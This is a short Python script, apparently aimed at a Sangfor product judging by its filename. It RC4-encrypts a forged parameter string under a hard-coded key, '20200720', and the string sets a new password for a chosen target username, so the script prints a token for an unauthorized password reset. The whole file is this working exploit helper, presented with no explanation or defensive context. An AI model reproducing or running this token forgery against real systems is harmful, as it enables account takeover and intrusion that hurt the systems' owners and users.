sangfor_key.py

from Crypto.Cipher import ARC4
from binascii  import  a2b_hex

def   myRC4(data,key):
    rc41=ARC4.new(key)
    encrypted=rc41.encrypt(data)
    return  encrypted.encode('hex')
def rc4_decrpt_hex(data,key):
    rc41=ARC4.new(key)
    return  rc41.decrypt(a2b_hex(data))
key='20200720'
data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'
print(myRC4(data,key))